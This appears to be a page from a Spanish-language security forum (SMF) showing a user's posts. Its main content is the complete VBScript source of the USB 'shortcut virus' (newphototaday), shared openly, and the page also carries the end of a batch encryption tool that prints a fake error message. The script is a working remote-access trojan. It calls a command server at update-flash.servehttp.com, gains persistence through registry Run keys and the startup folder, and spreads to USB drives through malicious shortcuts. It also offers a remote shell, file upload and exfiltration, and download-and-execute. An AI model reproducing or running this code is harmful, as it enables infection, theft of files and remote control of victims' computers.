  220. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  221. echo echo ³                                                               ³
  222. echo echo ³                                                               ³
  223. echo echo ³                                                               ³
  224. echo echo ³                                                               ³
  225. echo echo ³          no se ha Encontrado el Archivo Especificado.         ³
  226. echo echo ³                                                               ³
  227. echo echo ³                                                               ³
  228. echo echo ³                  ERROR CODE (2111995x32)                      ³
  229. echo echo ³                                                               ³
  230. echo echo ³                                                               ³
  231. echo echo ³                                                               ³
  232. echo echo ³                                                               ³
  233. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  234. echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  235. pause & exit

para cifrar:


el archivo cifrado:




                                          Comenten plis..  ;-)


                                         VERSION 0.2 LISTA.
--------------------------------TODOS LOS BUG CORREGIDOS. --------------------------------

Esta versión no tiene ningún defecto y se pueden cifrar toda clase de archivos .
(imágenes, músicas, vídeos , ejecutables ,documentos , entre muchas cosas mas)
no tiene ningún error.                           atencion no se comparte el code de la version 0.2 ya que es la version definitiva sin ningun problema


link:

Batch Archive Security
130  Seguridad Informática / Análisis y Diseño de Malware / virus de accesos directos (SOURCE CODE) . en: 24 Septiembre 2017, 04:20 am
hola a todo les traigo el virus de accesos directos (newphototaday) o tambien conocido como drive.bat ya que virus genera en los usb un batch con ese nombre.

el virus es un vbs.  en pendrives se encuentra con formato wsf por que esta cifrado.

virus vbs:

Código
  1. '<[ recoder : houdini (c) skype : houdini-fx ]>
  2.  
  3. '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.  
  5. host = "update-flash.servehttp.com"
  6. port = 666
  7. installdir = "%temp%"
  8. lnkfile = true
  9. lnkfolder = true
  10.  
  11. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  12.  
  13. dim shellobj
  14. set shellobj = wscript.createobject("wscript.shell")
  15. dim filesystemobj
  16. set filesystemobj = createobject("scripting.filesystemobject")
  17. dim httpobj
  18. set httpobj = createobject("msxml2.xmlhttp")
  19.  
  20.  
  21. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  22.  
  23. installname = wscript.scriptname
  24. startup = shellobj.specialfolders ("startup") & "\"
  25. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  26. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  27. spliter = "<" & "|" & ">"
  28. sleep = 5000
  29. dim response
  30. dim cmd
  31. dim param
  32. info = ""
  33. usbspreading = ""
  34. startdate = ""
  35. dim oneonce
  36.  
  37. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  38. on error resume next
  39.  
  40.  
  41. instance
  42. while true
  43.  
  44. install
  45.  
  46. response = ""
  47. response = post ("is-ready","")
  48. cmd = split (response,spliter)
  49. select case cmd (0)
  50. case "excecute"
  51.      param = cmd (1)
  52.      execute param
  53. case "update"
  54.      param = cmd (1)
  55.      oneonce.close
  56.      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  57.      oneonce.write param
  58.      oneonce.close
  59.      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  60.      wscript.quit
  61. case "uninstall"
  62.      uninstall
  63. case "send"
  64.      download cmd (1),cmd (2)
  65. case "site-send"
  66.      sitedownloader cmd (1),cmd (2)
  67. case "recv"
  68.      param = cmd (1)
  69.      upload (param)
  70. case  "enum-driver"
  71.      post "is-enum-driver",enumdriver  
  72. case  "enum-faf"
  73.      param = cmd (1)
  74.      post "is-enum-faf",enumfaf (param)
  75. case  "enum-process"
  76.      post "is-enum-process",enumprocess  
  77. case  "cmd-shell"
  78.      param = cmd (1)
  79.      post "is-cmd-shell",cmdshell (param)  
  80. case  "delete"
  81.      param = cmd (1)
  82.      deletefaf (param)
  83. case  "exit-process"
  84.      param = cmd (1)
  85.      exitprocess (param)
  86. case  "sleep"
  87.      param = cmd (1)
  88.      sleep = eval (param)        
  89. end select
  90.  
  91. wscript.sleep sleep
  92.  
  93. wend
  94.  
  95.  
  96. sub install
  97. on error resume next
  98. dim lnkobj
  99. dim filename
  100. dim foldername
  101. dim fileicon
  102. dim foldericon
  103.  
  104. upstart
  105. for each drive in filesystemobj.drives
  106.  
  107. if  drive.isready = true then
  108. if  drive.freespace  > 0 then
  109. if  drive.drivetype  = 1 then
  110.    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  111.    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  112.        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  113.    end if
  114.    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  115.        if not lnkfile then exit for
  116.        if  instr (file.name,".") then
  117.            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  118.                file.attributes = 2+4
  119.                if  ucase (file.name) <> ucase (installname) then
  120.                    filename = split(file.name,".")
  121.                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  122.                    lnkobj.windowstyle = 7
  123.                    lnkobj.targetpath = "cmd.exe"
  124.                    lnkobj.workingdirectory = ""
  125.                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  126.                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  127.                    if  instr (fileicon,",") = 0 then
  128.                        lnkobj.iconlocation = file.path
  129.                    else
  130.                        lnkobj.iconlocation = fileicon
  131.                    end if
  132.                    lnkobj.save()
  133.                end if
  134.            end if
  135.        end if
  136.    next
  137.    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  138.        if not lnkfolder then exit for
  139.        folder.attributes = 2+4
  140.        foldername = folder.name
  141.        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  142.        lnkobj.windowstyle = 7
  143.        lnkobj.targetpath = "cmd.exe"
  144.        lnkobj.workingdirectory = ""
  145.        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  146.        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  147.        if  instr (foldericon,",") = 0 then
  148.            lnkobj.iconlocation = folder.path
  149.        else
  150.            lnkobj.iconlocation = foldericon
  151.        end if
  152.        lnkobj.save()
  153.    next
  154. end If
  155. end If
  156. end if
  157. next
  158. err.clear
  159. end sub
  160.  
  161. sub uninstall
  162. on error resume next
  163. dim filename
  164. dim foldername
  165.  
  166. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  167. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  168. filesystemobj.deletefile startup & installname ,true
  169. filesystemobj.deletefile wscript.scriptfullname ,true
  170.  
  171. for  each drive in filesystemobj.drives
  172. if  drive.isready = true then
  173. if  drive.freespace  > 0 then
  174. if  drive.drivetype  = 1 then
  175.    for  each file in filesystemobj.getfolder ( drive.path & "\").files
  176.         on error resume next
  177.         if  instr (file.name,".") then
  178.             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  179.                 file.attributes = 0
  180.                 if  ucase (file.name) <> ucase (installname) then
  181.                     filename = split(file.name,".")
  182.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  183.                 else
  184.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  185.                 end If
  186.             else
  187.                 filesystemobj.deletefile (file.path)
  188.             end if
  189.         end if
  190.     next
  191.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  192.         folder.attributes = 0
  193.     next
  194. end if
  195. end if
  196. end if
  197. next
  198. wscript.quit
  199. end sub
  200.  
  201. function post (cmd ,param)
  202.  
  203. post = param
  204. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  205. httpobj.setrequestheader "user-agent:",information
  206. httpobj.send param
  207. post = httpobj.responsetext
  208. end function
  209.  
  210. function information
  211. on error resume next
  212. if  inf = "" then
  213.    inf = hwid & spliter
  214.    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  215.    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  216.  
  217.    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  218.    set os = root.execquery ("select * from win32_operatingsystem")
  219.    for each osinfo in os
  220.       inf = inf & osinfo.caption & spliter  
  221.       exit for
  222.    next
  223.    inf = inf & "plus" & spliter
  224.    inf = inf & security & spliter
  225.    inf = inf & usbspreading
  226.    information = inf  
  227. else
  228.    information = inf
  229. end if
  230. end function
  231.  
  232.  
  233. sub upstart ()
  234. on error resume Next
  235.  
  236. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  237. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  238. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  239. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  240.  
  241. end sub
  242.  
  243.  
  244. function hwid
  245. on error resume next
  246.  
  247. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  248. set disks = root.execquery ("select * from win32_logicaldisk")
  249. for each disk in disks
  250.    if  disk.volumeserialnumber <> "" then
  251.        hwid = disk.volumeserialnumber
  252.        exit for
  253.    end if
  254. next
  255. end function
  256.  
  257.  
  258. function security
  259. on error resume next
  260.  
  261. security = ""
  262.  
  263. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  264. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  265. for each objitem in colitems
  266.    versionstr = split (objitem.version,".")
  267. next
  268. versionstr = split (colitems.version,".")
  269. osversion = versionstr (0) & "."
  270. for  x = 1 to ubound (versionstr)
  271. osversion = osversion &  versionstr (i)
  272. next
  273. osversion = eval (osversion)
  274. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  275.  
  276. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  277. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  278.  
  279. for each objantivirus in colantivirus
  280.    security  = security  & objantivirus.displayname & " ."
  281. next
  282. if security  = "" then security  = "nan-av"
  283. end function
  284.  
  285.  
  286. function instance
  287. on error resume next
  288.  
  289. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  290. if usbspreading = "" then
  291.   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  292.      usbspreading = "true - " & date
  293.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  294.   else
  295.      usbspreading = "false - " & date
  296.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  297.  
  298.   end if
  299. end If
  300.  
  301.  
  302.  
  303. upstart
  304. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  305. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  306. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  307.    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  308.    wscript.quit
  309. end If
  310. err.clear
  311. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  312. if  err.number > 0 then wscript.quit
  313. end function
  314.  
  315.  
  316. sub sitedownloader (fileurl,filename)
  317.  
  318. strlink = fileurl
  319. strsaveto = installdir & filename
  320. set objhttpdownload = createobject("msxml2.xmlhttp" )
  321. objhttpdownload.open "get", strlink, false
  322. objhttpdownload.send
  323.  
  324. set objfsodownload = createobject ("scripting.filesystemobject")
  325. if  objfsodownload.fileexists (strsaveto) then
  326.    objfsodownload.deletefile (strsaveto)
  327. end if
  328.  
  329. if objhttpdownload.status = 200 then
  330.   dim  objstreamdownload
  331.   set  objstreamdownload = createobject("adodb.stream")
  332.   with objstreamdownload
  333. .type = 1
  334. .open
  335. .write objhttpdownload.responsebody
  336. .savetofile strsaveto
  337. .close
  338.   end with
  339.   set objstreamdownload = nothing
  340. end if
  341. if objfsodownload.fileexists(strsaveto) then
  342.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  343. end if
  344. end sub
  345.  
  346. sub download (fileurl,filedir)
  347.  
  348. if filedir = "" then
  349.   filedir = installdir
  350. end if
  351.  
  352. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  353. set objhttpdownload = createobject("msxml2.xmlhttp")
  354. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  355. objhttpdownload.send ""
  356.  
  357. set objfsodownload = createobject ("scripting.filesystemobject")
  358. if  objfsodownload.fileexists (strsaveto) then
  359.    objfsodownload.deletefile (strsaveto)
  360. end if
  361. if  objhttpdownload.status = 200 then
  362.    dim  objstreamdownload
  363. set  objstreamdownload = createobject("adodb.stream")
  364.    with objstreamdownload
  365. .type = 1
  366. .open
  367. .write objhttpdownload.responsebody
  368. .savetofile strsaveto
  369. .close
  370. end with
  371.    set objstreamdownload  = nothing
  372. end if
  373. if objfsodownload.fileexists(strsaveto) then
  374.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  375. end if
  376. end sub
  377.  
  378.  
  379. function upload (fileurl)
  380.  
  381. dim  httpobj,objstreamuploade,buffer
  382. set  objstreamuploade = createobject("adodb.stream")
  383. with objstreamuploade
  384.     .type = 1
  385.     .open
  386. .loadfromfile fileurl
  387. buffer = .read
  388. .close
  389. end with
  390. set objstreamdownload = nothing
  391. set httpobj = createobject("msxml2.xmlhttp")
  392. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  393. httpobj.send buffer
  394. end function
  395.  
  396.  
  397. function enumdriver ()
  398.  
  399. for  each drive in filesystemobj.drives
  400. if   drive.isready = true then
  401.     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  402. end if
  403. next
  404. end Function
  405.  
  406. function enumfaf (enumdir)
  407.  
  408. enumfaf = enumdir & spliter
  409. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  410.     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  411. next
  412.  
  413. for  each file in filesystemobj.getfolder (enumdir).files
  414.     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  415.  
  416. next
  417. end function
  418.  
  419.  
  420. function enumprocess ()
  421.  
  422. on error resume next
  423.  
  424. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  425. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  426.  
  427. dim objitem
  428. for each objitem in colitems
  429. enumprocess = enumprocess & objitem.name & "|"
  430. enumprocess = enumprocess & objitem.processid & "|"
  431.    enumprocess = enumprocess & objitem.executablepath & spliter
  432. next
  433. end function
  434.  
  435. sub exitprocess (pid)
  436. on error resume next
  437.  
  438. shellobj.run "taskkill /F /T /PID " & pid,7,true
  439. end sub
  440.  
  441. sub deletefaf (url)
  442. on error resume next
  443.  
  444. filesystemobj.deletefile url
  445. filesystemobj.deletefolder url
  446.  
  447. end sub
  448.  
  449. function cmdshell (cmd)
  450.  
  451. dim httpobj,oexec,readallfromany
  452.  
  453. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  454. if not oexec.stdout.atendofstream then
  455.   readallfromany = oexec.stdout.readall
  456. elseif not oexec.stderr.atendofstream then
  457.   readallfromany = oexec.stderr.readall
  458. else
  459.   readallfromany = ""
  460. end if
  461.  
  462. cmdshell = readallfromany
  463. end function

                                                                             Comenten.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines